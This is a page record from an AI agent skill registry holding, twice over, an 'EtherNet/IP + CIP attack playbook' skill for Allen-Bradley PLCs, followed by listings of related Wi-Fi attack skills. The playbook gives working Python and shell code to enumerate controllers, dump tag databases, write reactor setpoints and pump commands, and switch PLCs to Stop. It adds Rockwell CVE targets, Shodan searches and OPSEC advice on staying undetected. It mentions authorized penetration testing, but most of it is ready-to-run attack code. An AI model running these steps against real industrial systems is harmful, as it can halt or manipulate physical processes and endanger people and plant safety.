[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7983JMAMHSDA8HFRMPY0S5V":3,"skill-same:01M7983JMAMHSDA8HFRMPY0S5V":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7983JMAMHSDA8HFRMPY0S5V","enip-cip",null,"EtherNet\u002FIP + CIP (TCP 44818 \u002F UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read\u002Fwrite on Allen-Bradley ControlLogix\u002FCompactLogix, CIP Forward Open, PLC mode change (Stop\u002FRun), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fenip-cip\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: enip-cip\ndescription: \"EtherNet\u002FIP + CIP (TCP 44818 \u002F UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read\u002Fwrite on Allen-Bradley ControlLogix\u002FCompactLogix, CIP Forward Open, PLC mode change (Stop\u002FRun), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"ethernet\u002Fip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open\"\n  subdomain: ics-ot\n  tags: enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell\n  mitre_attack: T0855, T0836, T0816, T0814\n---\n\n# EtherNet\u002FIP + CIP Attack Playbook (TCP 44818 \u002F UDP 2222)\n\nEtherNet\u002FIP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.\n\n## SAFETY FIRST\n\nCIP write operations (`Write()` on tags) and mode-change commands (`Stop`, `Run`, `Reset`) affect physical process equipment. A mode-change to `Stop` immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. **Confirm written scope authorization for any write\u002Fcontrol-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.**\n\n## Prerequisites\n\n```bash\n# Install pylogix (Allen-Bradley EtherNet\u002FIP client)\npip install pylogix\n\n# Install cpppo (Rockwell EtherNet\u002FIP \u002F CIP toolkit)\npip install cpppo\n\n# nmap EtherNet\u002FIP scripts\n# Built-in: enip-info.nse (ships with Nmap >= 7.80)\nnmap -p 44818 --open -sV 10.0.0.0\u002F24\n```\n\n## Phase 1 — Discover\n\n### UDP 2222 List Identity broadcast\n\nUDP 2222 carries the ENIP \"List Identity\" command — no session, no authentication. Send a broadcast and all EtherNet\u002FIP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.\n\n```bash\n# Using cpppo enip command-line\npython3 -m cpppo.server.enip.list_identity 10.0.0.255\n# Or unicast:\npython3 -m cpppo.server.enip.list_identity 10.0.0.5\n\n# Example output:\n# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,\n#  'product_code': 166, 'revision': {'major': 33, 'minor': 11},\n#  'serial_number': '0xA1B2C3D4', 'status': 12340}\n```\n\n```bash\n# nmap enip-info script (TCP 44818)\nnmap -p 44818 --script enip-info 10.0.0.5\n# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State\n```\n\n```python\n# pylogix PLC info — TCP 44818\nfrom pylogix import PLC\n\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n    info = comm.GetPLCTime()\n    print(\"PLC time:\", info.Value)\n    props = comm.GetModuleProperties(0)\n    print(\"Module:\", props.Value)\n```\n\n## Phase 2 — Tag database enumeration (unauthenticated on ControlLogix\u002FCompactLogix)\n\nControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.\n\n```python\nfrom pylogix import PLC\n\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n\n    # Enumerate all controller-scoped tags\n    tags = comm.GetTagList()\n    print(f\"[*] Found {len(tags.Value)} controller tags\")\n    for tag in tags.Value:\n        print(f\"  {tag.TagName:\u003C40} Type={tag.DataType:\u003C20} Dim={tag.Dimensions}\")\n\n    # Enumerate program-scoped tags (programs inside the controller)\n    programs = comm.GetProgramList()\n    for prog in programs.Value:\n        prog_tags = comm.GetProgramTagList(prog)\n        print(f\"\\n[*] Program '{prog}': {len(prog_tags.Value)} tags\")\n        for tag in prog_tags.Value:\n            print(f\"  {prog}:{tag.TagName:\u003C36} Type={tag.DataType}\")\n```\n\nTag names are often self-describing in production environments:\n- `PumpStation_1.RunCmd` — pump run command coil\n- `Valve_FV_101.OpenCmd` — valve open command\n- `Reactor_TIC_201.SP` — temperature setpoint\n- `Safety_SIL2.BypassActive` — safety interlock bypass flag\n\n## Phase 3 — Read tags\n\n```python\nfrom pylogix import PLC\n\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n\n    # Read a single tag\n    result = comm.Read(\"PumpStation_1.RunCmd\")\n    print(f\"PumpStation_1.RunCmd = {result.Value}  (Status: {result.Status})\")\n\n    # Read multiple tags in one request (efficient)\n    tag_list = [\n        \"Reactor_TIC_201.SP\",\n        \"Reactor_TIC_201.PV\",\n        \"Valve_FV_101.OpenCmd\",\n        \"Safety_SIL2.BypassActive\",\n    ]\n    results = comm.Read(tag_list)\n    for r in results:\n        print(f\"  {r.TagName} = {r.Value}  Status={r.Status}\")\n\n    # Read array elements\n    array_result = comm.Read(\"RecipeArray[0]\", 10)  # read 10 elements from index 0\n    print(\"Recipe[0:10]:\", array_result.Value)\n```\n\n## Phase 4 — Write tags (SAFETY GATE — write-class authorization required)\n\n> **STOP. Confirm written scope authorization before this phase.**\n> Writing process control tags may energize\u002Fde-energize actuators immediately.\n\n```python\nfrom pylogix import PLC\n\n# Write a BOOL tag\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n\n    # Example: write a setpoint — requires authorization\n    result = comm.Write(\"Reactor_TIC_201.SP\", 85.0)\n    print(f\"Write SP: {result.Status}\")\n\n    # Example: write a BOOL control tag — requires authorization\n    result = comm.Write(\"PumpStation_1.RunCmd\", 1)\n    print(f\"Write RunCmd: {result.Status}\")\n```\n\nWrite status codes: `Success` = write accepted by PLC; `PathSegmentError` = bad tag name; `ServiceError` = PLC in Program mode or inhibited.\n\n## Phase 5 — CIP mode change: Stop \u002F Run \u002F Reset\n\nMode change via CIP is a direct PLC execution-state change. Stop halts the ladder\u002Ffunction-block program. Reset is a cold restart.\n\n```python\nimport cpppo\nfrom cpppo.server.enip import client\n\n# CIP explicit messaging to change PLC mode\n# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)\n# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)\n# Mode: 0x01 = Run, 0x02 = Program (Stop)\n\ndef set_plc_mode(ip, mode_val, port=44818):\n    \"\"\"\n    mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)\n    Requires write-class scope authorization.\n    \"\"\"\n    operations = [\n        {\n            \"method\": \"set_attribute_single\",\n            \"path\": \"@0x01\u002F1\u002F10\",\n            \"data\": [mode_val],\n        }\n    ]\n    with client.connector(host=ip, port=port) as conn:\n        for op in operations:\n            conn.set_attribute_single(\n                path=op[\"path\"],\n                data=op[\"data\"],\n            )\n        conn.collect(timeout=2)\n        print(f\"Mode change to {mode_val:#04x} sent\")\n\n# set_plc_mode(\"10.0.0.5\", 0x02)   # Stop (Program mode) — halts PLC program\n# set_plc_mode(\"10.0.0.5\", 0x01)   # Run\n```\n\nAlternatively, pylogix provides a direct wrapper:\n\n```python\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n    # Some pylogix versions expose:\n    comm.GetPLCTime()  # verify connectivity first\n    # comm.Write(\"_RunMode\", 0)  # vendor-specific; verify tag exists first\n```\n\n## Phase 6 — Historical Rockwell auth-bypass CVEs\n\n| CVE | Product | Description | CVSS |\n|---|---|---|---|\n| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |\n| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |\n| CVE-2023-3595 | ControlLogix 1756 (firmware \u003C= 33.011) | Path traversal in CIP service; unauthenticated firmware read\u002Fwrite | 9.8 |\n| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |\n| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |\n\nCVE-2023-3595 \u002F 3596 (Claroty \"LogiSploit\") is the most relevant for live engagements — unauthenticated firmware upload\u002Fdownload against unpatched ControlLogix. Patch check:\n\n```python\n# Firmware version from pylogix\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n    props = comm.GetModuleProperties(0)\n    print(\"Firmware:\", props.Value)\n    # Compare against Rockwell Security Advisory RLSA-2023-0026\n    # Affected: \u003C v33.012 (1756-EN2* family)\n```\n\n## Common findings\n\n| Finding | MITRE | Impact |\n|---|---|---|\n| Internet-exposed EtherNet\u002FIP (Shodan: port:44818) | T0882 | Direct PLC access from internet |\n| No CIP authentication — tag list readable | T0855 | Full process variable visibility |\n| Tag write accepted without auth | T0836 | Direct process manipulation |\n| PLC mode change accepted (Stop) | T0816 | Halt production line |\n| Flat IT\u002FOT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |\n| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read\u002Fwrite, persistent implant |\n| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |\n\n## Evidence\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=\"EtherNet\u002FIP unauthenticated tag access\",\n    props={\n        \"key\": f\"enip-cip-anon::{target_ip}\",\n        \"protocol\": \"enip-cip\",\n        \"port\": 44818,\n        \"product_name\": \"\u003CProductName>\",\n        \"firmware_revision\": \"\u003Cmajor.minor>\",\n        \"tag_count\": len(tags.Value),\n        \"writable\": False,  # set True only after confirmed write-scope\n        \"source\": \"pylogix-taglist\",\n    },\n)\n```\n\n## ZFP (two-method evidence)\n\n1. `pylogix GetTagList()` output showing tag count + representative tag names with data types.\n2. `pylogix Read()` result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).\n\nIf write testing was authorized: include `Write()` result showing `Status=Success` and a Read back confirming value change.\n\n## OPSEC notes\n\n- EtherNet\u002FIP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi\u002FClaroty NDR is deployed with flow-level inspection.\n- High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.\n- Mode-change commands (Stop\u002FProgram) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.\n- Shodan regularly indexes internet-facing EtherNet\u002FIP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.\n- CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.\n\n## References\n\n- pylogix — github.com\u002Fdmroeder\u002Fpylogix\n- cpppo — github.com\u002Fpjkundert\u002Fcpppo\n- ODVA EtherNet\u002FIP and CIP Specifications — odva.org\n- Claroty Team82 \"LogiSploit\" (CVE-2023-3595\u002F3596) — claroty.com\u002Fteam82\n- CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io\n- ICS-CERT Rockwell advisories — cisa.gov\u002Fuscert\u002Fics\u002Fadvisories\n- \"Exploiting Industrial Control Systems\" — Reid Wightman, S4 Conference\n- Shodan dork reference — https:\u002F\u002Fwww.shodan.io\u002Fsearch?query=port%3A44818\n","# EtherNet\u002FIP + CIP Attack Playbook (TCP 44818 \u002F UDP 2222)\n\nEtherNet\u002FIP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.\n\n## SAFETY FIRST\n\nCIP write operations (`Write()` on tags) and mode-change commands (`Stop`, `Run`, `Reset`) affect physical process equipment. A mode-change to `Stop` immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. **Confirm written scope authorization for any write\u002Fcontrol-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.**\n\n## Prerequisites\n\n```bash\n# Install pylogix (Allen-Bradley EtherNet\u002FIP client)\npip install pylogix\n\n# Install cpppo (Rockwell EtherNet\u002FIP \u002F CIP toolkit)\npip install cpppo\n\n# nmap EtherNet\u002FIP scripts\n# Built-in: enip-info.nse (ships with Nmap >= 7.80)\nnmap -p 44818 --open -sV 10.0.0.0\u002F24\n```\n\n## Phase 1 — Discover\n\n### UDP 2222 List Identity broadcast\n\nUDP 2222 carries the ENIP \"List Identity\" command — no session, no authentication. Send a broadcast and all EtherNet\u002FIP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.\n\n```bash\n# Using cpppo enip command-line\npython3 -m cpppo.server.enip.list_identity 10.0.0.255\n# Or unicast:\npython3 -m cpppo.server.enip.list_identity 10.0.0.5\n\n# Example output:\n# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,\n#  'product_code': 166, 'revision': {'major': 33, 'minor': 11},\n#  'serial_number': '0xA1B2C3D4', 'status': 12340}\n```\n\n```bash\n# nmap enip-info script (TCP 44818)\nnmap -p 44818 --script enip-info 10.0.0.5\n# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State\n```\n\n```python\n# pylogix PLC info — TCP 44818\nfrom pylogix import PLC\n\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n    info = comm.GetPLCTime()\n    print(\"PLC time:\", info.Value)\n    props = comm.GetModuleProperties(0)\n    print(\"Module:\", props.Value)\n```\n\n## Phase 2 — Tag database enumeration (unauthenticated on ControlLogix\u002FCompactLogix)\n\nControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.\n\n```python\nfrom pylogix import PLC\n\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n\n    # Enumerate all controller-scoped tags\n    tags = comm.GetTagList()\n    print(f\"[*] Found {len(tags.Value)} controller tags\")\n    for tag in tags.Value:\n        print(f\"  {tag.TagName:\u003C40} Type={tag.DataType:\u003C20} Dim={tag.Dimensions}\")\n\n    # Enumerate program-scoped tags (programs inside the controller)\n    programs = comm.GetProgramList()\n    for prog in programs.Value:\n        prog_tags = comm.GetProgramTagList(prog)\n        print(f\"\\n[*] Program '{prog}': {len(prog_tags.Value)} tags\")\n        for tag in prog_tags.Value:\n            print(f\"  {prog}:{tag.TagName:\u003C36} Type={tag.DataType}\")\n```\n\nTag names are often self-describing in production environments:\n- `PumpStation_1.RunCmd` — pump run command coil\n- `Valve_FV_101.OpenCmd` — valve open command\n- `Reactor_TIC_201.SP` — temperature setpoint\n- `Safety_SIL2.BypassActive` — safety interlock bypass flag\n\n## Phase 3 — Read tags\n\n```python\nfrom pylogix import PLC\n\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n\n    # Read a single tag\n    result = comm.Read(\"PumpStation_1.RunCmd\")\n    print(f\"PumpStation_1.RunCmd = {result.Value}  (Status: {result.Status})\")\n\n    # Read multiple tags in one request (efficient)\n    tag_list = [\n        \"Reactor_TIC_201.SP\",\n        \"Reactor_TIC_201.PV\",\n        \"Valve_FV_101.OpenCmd\",\n        \"Safety_SIL2.BypassActive\",\n    ]\n    results = comm.Read(tag_list)\n    for r in results:\n        print(f\"  {r.TagName} = {r.Value}  Status={r.Status}\")\n\n    # Read array elements\n    array_result = comm.Read(\"RecipeArray[0]\", 10)  # read 10 elements from index 0\n    print(\"Recipe[0:10]:\", array_result.Value)\n```\n\n## Phase 4 — Write tags (SAFETY GATE — write-class authorization required)\n\n> **STOP. Confirm written scope authorization before this phase.**\n> Writing process control tags may energize\u002Fde-energize actuators immediately.\n\n```python\nfrom pylogix import PLC\n\n# Write a BOOL tag\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n\n    # Example: write a setpoint — requires authorization\n    result = comm.Write(\"Reactor_TIC_201.SP\", 85.0)\n    print(f\"Write SP: {result.Status}\")\n\n    # Example: write a BOOL control tag — requires authorization\n    result = comm.Write(\"PumpStation_1.RunCmd\", 1)\n    print(f\"Write RunCmd: {result.Status}\")\n```\n\nWrite status codes: `Success` = write accepted by PLC; `PathSegmentError` = bad tag name; `ServiceError` = PLC in Program mode or inhibited.\n\n## Phase 5 — CIP mode change: Stop \u002F Run \u002F Reset\n\nMode change via CIP is a direct PLC execution-state change. Stop halts the ladder\u002Ffunction-block program. Reset is a cold restart.\n\n```python\nimport cpppo\nfrom cpppo.server.enip import client\n\n# CIP explicit messaging to change PLC mode\n# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)\n# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)\n# Mode: 0x01 = Run, 0x02 = Program (Stop)\n\ndef set_plc_mode(ip, mode_val, port=44818):\n    \"\"\"\n    mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)\n    Requires write-class scope authorization.\n    \"\"\"\n    operations = [\n        {\n            \"method\": \"set_attribute_single\",\n            \"path\": \"@0x01\u002F1\u002F10\",\n            \"data\": [mode_val],\n        }\n    ]\n    with client.connector(host=ip, port=port) as conn:\n        for op in operations:\n            conn.set_attribute_single(\n                path=op[\"path\"],\n                data=op[\"data\"],\n            )\n        conn.collect(timeout=2)\n        print(f\"Mode change to {mode_val:#04x} sent\")\n\n# set_plc_mode(\"10.0.0.5\", 0x02)   # Stop (Program mode) — halts PLC program\n# set_plc_mode(\"10.0.0.5\", 0x01)   # Run\n```\n\nAlternatively, pylogix provides a direct wrapper:\n\n```python\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n    # Some pylogix versions expose:\n    comm.GetPLCTime()  # verify connectivity first\n    # comm.Write(\"_RunMode\", 0)  # vendor-specific; verify tag exists first\n```\n\n## Phase 6 — Historical Rockwell auth-bypass CVEs\n\n| CVE | Product | Description | CVSS |\n|---|---|---|---|\n| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |\n| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |\n| CVE-2023-3595 | ControlLogix 1756 (firmware \u003C= 33.011) | Path traversal in CIP service; unauthenticated firmware read\u002Fwrite | 9.8 |\n| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |\n| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |\n\nCVE-2023-3595 \u002F 3596 (Claroty \"LogiSploit\") is the most relevant for live engagements — unauthenticated firmware upload\u002Fdownload against unpatched ControlLogix. Patch check:\n\n```python\n# Firmware version from pylogix\nwith PLC() as comm:\n    comm.IPAddress = \"10.0.0.5\"\n    props = comm.GetModuleProperties(0)\n    print(\"Firmware:\", props.Value)\n    # Compare against Rockwell Security Advisory RLSA-2023-0026\n    # Affected: \u003C v33.012 (1756-EN2* family)\n```\n\n## Common findings\n\n| Finding | MITRE | Impact |\n|---|---|---|\n| Internet-exposed EtherNet\u002FIP (Shodan: port:44818) | T0882 | Direct PLC access from internet |\n| No CIP authentication — tag list readable | T0855 | Full process variable visibility |\n| Tag write accepted without auth | T0836 | Direct process manipulation |\n| PLC mode change accepted (Stop) | T0816 | Halt production line |\n| Flat IT\u002FOT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |\n| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read\u002Fwrite, persistent implant |\n| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |\n\n## Evidence\n\n```python\nkg_add_node(\n    kind=\"finding\",\n    label=\"EtherNet\u002FIP unauthenticated tag access\",\n    props={\n        \"key\": f\"enip-cip-anon::{target_ip}\",\n        \"protocol\": \"enip-cip\",\n        \"port\": 44818,\n        \"product_name\": \"\u003CProductName>\",\n        \"firmware_revision\": \"\u003Cmajor.minor>\",\n        \"tag_count\": len(tags.Value),\n        \"writable\": False,  # set True only after confirmed write-scope\n        \"source\": \"pylogix-taglist\",\n    },\n)\n```\n\n## ZFP (two-method evidence)\n\n1. `pylogix GetTagList()` output showing tag count + representative tag names with data types.\n2. `pylogix Read()` result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).\n\nIf write testing was authorized: include `Write()` result showing `Status=Success` and a Read back confirming value change.\n\n## OPSEC notes\n\n- EtherNet\u002FIP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi\u002FClaroty NDR is deployed with flow-level inspection.\n- High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.\n- Mode-change commands (Stop\u002FProgram) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.\n- Shodan regularly indexes internet-facing EtherNet\u002FIP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.\n- CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.\n\n## References\n\n- pylogix — github.com\u002Fdmroeder\u002Fpylogix\n- cpppo — github.com\u002Fpjkundert\u002Fcpppo\n- ODVA EtherNet\u002FIP and CIP Specifications — odva.org\n- Claroty Team82 \"LogiSploit\" (CVE-2023-3595\u002F3596) — claroty.com\u002Fteam82\n- CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io\n- ICS-CERT Rockwell advisories — cisa.gov\u002Fuscert\u002Fics\u002Fadvisories\n- \"Exploiting Industrial Control Systems\" — Reid Wightman, S4 Conference\n- Shodan dork reference — https:\u002F\u002Fwww.shodan.io\u002Fsearch?query=port%3A44818\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell","ics-ot","ethernet\u002Fip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open","T0855, T0836, T0816, T0814","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fenip-cip",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill enip-cip",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill enip-cip",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill enip-cip","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fenip-cip\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 